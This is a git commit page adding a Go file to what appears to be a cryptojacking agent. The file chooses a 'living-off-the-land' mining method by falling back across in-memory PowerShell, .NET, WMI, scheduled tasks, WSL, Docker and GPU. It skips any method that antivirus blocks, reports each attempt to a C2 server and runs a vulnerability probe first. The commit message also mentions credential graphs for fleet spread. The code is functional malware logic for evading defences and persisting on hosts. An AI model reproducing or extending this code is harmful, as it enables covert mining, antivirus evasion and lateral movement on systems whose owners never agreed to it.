Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
297
agent/miner/lotl_tier.go
Normal file
297
agent/miner/lotl_tier.go
Normal file
@@ -0,0 +1,297 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// LOTLTier identifies one Living-Off-The-Land mining execution layer.
|
||||
type LOTLTier string
|
||||
|
||||
const (
|
||||
TierExeSubprocess LOTLTier = "exe_subprocess"
|
||||
TierDockerLoad LOTLTier = "docker_load"
|
||||
TierContainer LOTLTier = "container"
|
||||
TierWSL LOTLTier = "wsl"
|
||||
TierPSInMemory LOTLTier = "ps_inmemory"
|
||||
TierDotnet LOTLTier = "dotnet"
|
||||
TierCPUInprocess LOTLTier = "cpu_inprocess"
|
||||
TierVulnProbe LOTLTier = "vuln_probe"
|
||||
TierWebView2Probe LOTLTier = "webview2_probe"
|
||||
TierWMI LOTLTier = "wmi"
|
||||
TierScheduledTask LOTLTier = "scheduled_task"
|
||||
TierGPUCompute LOTLTier = "gpu_compute"
|
||||
TierGPUSubprocess LOTLTier = "gpu_subprocess"
|
||||
TierStratumDirect LOTLTier = "stratum_direct"
|
||||
)
|
||||
|
||||
// TierAttempt records one tier try for C2/UI diagnostics.
|
||||
type TierAttempt struct {
|
||||
Phase string `json:"phase,omitempty"` // recon | deploy | mining (triple onion)
|
||||
Tier LOTLTier `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet"`
|
||||
Details map[string]interface{} `json:"details,omitempty"`
|
||||
}
|
||||
|
||||
// TierReport is the live LOTL onion snapshot sent to C2.
|
||||
type TierReport struct {
|
||||
ActiveTier LOTLTier `json:"lotl_tier,omitempty"`
|
||||
Attempts []TierAttempt `json:"lotl_attempts,omitempty"`
|
||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||
TierChainOrder []LOTLTier `json:"tier_chain_order,omitempty"`
|
||||
TierChainSkipped []LOTLTier `json:"tier_chain_skipped,omitempty"`
|
||||
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
||||
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
|
||||
}
|
||||
|
||||
// MiningTierPolicy is server-pulled ordering/overrides for the tier onion.
|
||||
type MiningTierPolicy struct {
|
||||
TierOrder []LOTLTier `json:"tier_order,omitempty"`
|
||||
SkipTiers []LOTLTier `json:"skip_tiers,omitempty"`
|
||||
ForceTier LOTLTier `json:"force_tier,omitempty"`
|
||||
}
|
||||
|
||||
// DefaultTierOrder is the canonical onion when the server sends no override.
|
||||
// AV friction drives automatic skips via EnvironmentProbes in SelectMiningTierChain.
|
||||
var DefaultTierOrder = []LOTLTier{
|
||||
TierExeSubprocess,
|
||||
TierDockerLoad,
|
||||
TierContainer,
|
||||
TierWSL,
|
||||
TierPSInMemory,
|
||||
TierDotnet,
|
||||
TierCPUInprocess,
|
||||
TierWebView2Probe,
|
||||
TierWMI,
|
||||
TierScheduledTask,
|
||||
TierGPUCompute,
|
||||
TierGPUSubprocess,
|
||||
TierStratumDirect,
|
||||
}
|
||||
|
||||
// DefaultWindowsTierOrder is the probe→execution slice for Windows-specific tiers.
|
||||
func DefaultWindowsTierOrder() []LOTLTier {
|
||||
return []LOTLTier{
|
||||
TierWebView2Probe,
|
||||
TierWMI,
|
||||
TierScheduledTask,
|
||||
TierGPUCompute,
|
||||
}
|
||||
}
|
||||
|
||||
// DefaultMiningTierPolicy works out of the box with diagnostic-driven filtering.
|
||||
func DefaultMiningTierPolicy() MiningTierPolicy {
|
||||
return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)}
|
||||
}
|
||||
|
||||
// SelectMiningTierChain returns the ordered tier onion from server policy with
|
||||
// local eligibility overrides from environment probes and forge execution mode.
|
||||
func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) {
|
||||
base := policy.TierOrder
|
||||
if len(base) == 0 {
|
||||
base = DefaultTierOrder
|
||||
}
|
||||
|
||||
skipSet := make(map[LOTLTier]bool, len(policy.SkipTiers))
|
||||
for _, t := range policy.SkipTiers {
|
||||
skipSet[t] = true
|
||||
}
|
||||
|
||||
execMode := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
|
||||
switch execMode {
|
||||
case ExecutionInProcess:
|
||||
skipSet[TierExeSubprocess] = true
|
||||
skipSet[TierDockerLoad] = true
|
||||
skipSet[TierContainer] = true
|
||||
skipSet[TierWSL] = true
|
||||
skipSet[TierPSInMemory] = true
|
||||
skipSet[TierDotnet] = true
|
||||
case ExecutionContainer:
|
||||
skipSet[TierExeSubprocess] = true
|
||||
skipSet[TierWSL] = true
|
||||
skipSet[TierPSInMemory] = true
|
||||
case ExecutionPowerShell:
|
||||
skipSet[TierExeSubprocess] = true
|
||||
skipSet[TierContainer] = true
|
||||
skipSet[TierWSL] = true
|
||||
skipSet[TierDotnet] = true
|
||||
case ExecutionDotnet:
|
||||
skipSet[TierExeSubprocess] = true
|
||||
skipSet[TierContainer] = true
|
||||
skipSet[TierWSL] = true
|
||||
skipSet[TierPSInMemory] = true
|
||||
case ExecutionSubprocess:
|
||||
// subprocess mode prefers exe/gpu paths; CPU in-process remains terminal fallback.
|
||||
skipSet[TierWSL] = true
|
||||
skipSet[TierPSInMemory] = true
|
||||
skipSet[TierDotnet] = true
|
||||
}
|
||||
|
||||
// Diagnostics-driven automatic contingencies.
|
||||
if probes.AVBlocksExe {
|
||||
skipSet[TierExeSubprocess] = true
|
||||
}
|
||||
if !probes.Docker {
|
||||
skipSet[TierContainer] = true
|
||||
skipSet[TierDockerLoad] = true
|
||||
}
|
||||
if !HasImageTarPolicy(cfg) {
|
||||
skipSet[TierDockerLoad] = true
|
||||
}
|
||||
if !probes.WSL {
|
||||
skipSet[TierWSL] = true
|
||||
}
|
||||
if !probes.PowerShell {
|
||||
skipSet[TierPSInMemory] = true
|
||||
}
|
||||
if !probes.DotNet {
|
||||
skipSet[TierDotnet] = true
|
||||
}
|
||||
if !probes.GPU || !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" {
|
||||
skipSet[TierGPUSubprocess] = true
|
||||
skipSet[TierGPUCompute] = true
|
||||
}
|
||||
if strings.TrimSpace(cfg.PoolHost) == "" {
|
||||
skipSet[TierStratumDirect] = true
|
||||
}
|
||||
if strings.TrimSpace(cfg.PoolHost) == "" && strings.TrimSpace(cfg.RVNPoolHost) == "" {
|
||||
skipSet[TierGPUCompute] = true
|
||||
}
|
||||
if runtime.GOOS != "windows" {
|
||||
skipSet[TierWebView2Probe] = true
|
||||
skipSet[TierWMI] = true
|
||||
skipSet[TierScheduledTask] = true
|
||||
skipSet[TierGPUCompute] = true
|
||||
}
|
||||
|
||||
if policy.ForceTier != "" {
|
||||
if tierEligible(policy.ForceTier, probes, cfg, skipSet) {
|
||||
return []LOTLTier{policy.ForceTier}, skipped
|
||||
}
|
||||
skipSet[policy.ForceTier] = false
|
||||
}
|
||||
if execMode == ExecutionPowerShell && tierEligible(TierPSInMemory, probes, cfg, skipSet) {
|
||||
return []LOTLTier{TierPSInMemory, TierCPUInprocess}, skipped
|
||||
}
|
||||
if execMode == ExecutionDotnet && tierEligible(TierDotnet, probes, cfg, skipSet) {
|
||||
return []LOTLTier{TierDotnet, TierCPUInprocess}, skipped
|
||||
}
|
||||
|
||||
chain = make([]LOTLTier, 0, len(base))
|
||||
for _, tier := range base {
|
||||
if skipSet[tier] {
|
||||
skipped = append(skipped, tier)
|
||||
continue
|
||||
}
|
||||
if !tierEligible(tier, probes, cfg, nil) {
|
||||
skipped = append(skipped, tier)
|
||||
continue
|
||||
}
|
||||
chain = append(chain, tier)
|
||||
}
|
||||
|
||||
if len(chain) == 0 {
|
||||
chain = []LOTLTier{TierCPUInprocess}
|
||||
}
|
||||
return chain, skipped
|
||||
}
|
||||
|
||||
func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeConfig, extraSkip map[LOTLTier]bool) bool {
|
||||
if extraSkip != nil && extraSkip[tier] {
|
||||
return false
|
||||
}
|
||||
switch tier {
|
||||
case TierExeSubprocess:
|
||||
return !probes.AVBlocksExe
|
||||
case TierDockerLoad:
|
||||
return probes.Docker && HasImageTarPolicy(cfg)
|
||||
case TierContainer:
|
||||
return probes.Docker
|
||||
case TierWSL:
|
||||
return probes.WSL
|
||||
case TierPSInMemory:
|
||||
return probes.PowerShell && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
|
||||
case TierDotnet:
|
||||
return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
|
||||
case TierCPUInprocess:
|
||||
return true
|
||||
case TierGPUSubprocess:
|
||||
return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != ""
|
||||
case TierStratumDirect:
|
||||
return strings.TrimSpace(cfg.PoolHost) != ""
|
||||
case TierWebView2Probe:
|
||||
return runtime.GOOS == "windows" && probes.WebView2
|
||||
case TierWMI:
|
||||
return runtime.GOOS == "windows" && strings.TrimSpace(cfg.Wallet) != ""
|
||||
case TierScheduledTask:
|
||||
return runtime.GOOS == "windows"
|
||||
case TierGPUCompute:
|
||||
return runtime.GOOS == "windows" && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != "" &&
|
||||
(strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "")
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// PrimaryTiers are sequential CPU paths tried until one succeeds.
|
||||
func PrimaryTiers(chain []LOTLTier) []LOTLTier {
|
||||
var out []LOTLTier
|
||||
for _, t := range chain {
|
||||
switch t {
|
||||
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWMI, TierScheduledTask:
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ProbeTiers returns diagnostics-only tiers run before GPU escalation.
|
||||
// Vuln recon always runs first (report-only authorized fleet assessment).
|
||||
func ProbeTiers(chain []LOTLTier) []LOTLTier {
|
||||
out := []LOTLTier{TierVulnProbe}
|
||||
for _, t := range chain {
|
||||
if t == TierWebView2Probe {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// TierToMiningMethod maps implemented tiers onto the legacy cascade identifiers.
|
||||
func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) {
|
||||
switch tier {
|
||||
case TierDockerLoad:
|
||||
return MethodDockerLoad, true
|
||||
case TierContainer:
|
||||
return MethodContainer, true
|
||||
case TierWSL:
|
||||
return MethodWSL, true
|
||||
case TierCPUInprocess:
|
||||
return MethodInProcess, true
|
||||
case TierGPUSubprocess:
|
||||
return MethodGPUSubprocess, true
|
||||
case TierStratumDirect:
|
||||
return MethodStratumDirect, true
|
||||
case TierWMI:
|
||||
return MethodWMI, true
|
||||
case TierScheduledTask:
|
||||
return MethodScheduledTask, true
|
||||
case TierGPUCompute:
|
||||
return MethodGPUCompute, true
|
||||
case TierVulnProbe:
|
||||
return MethodVulnProbe, true
|
||||
case TierWebView2Probe:
|
||||
return MethodWebView2Probe, true
|
||||
case TierPSInMemory:
|
||||
return MethodPowerShell, true
|
||||
case TierDotnet:
|
||||
return MethodDotnet, true
|
||||
default:
|
||||
return "", false
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user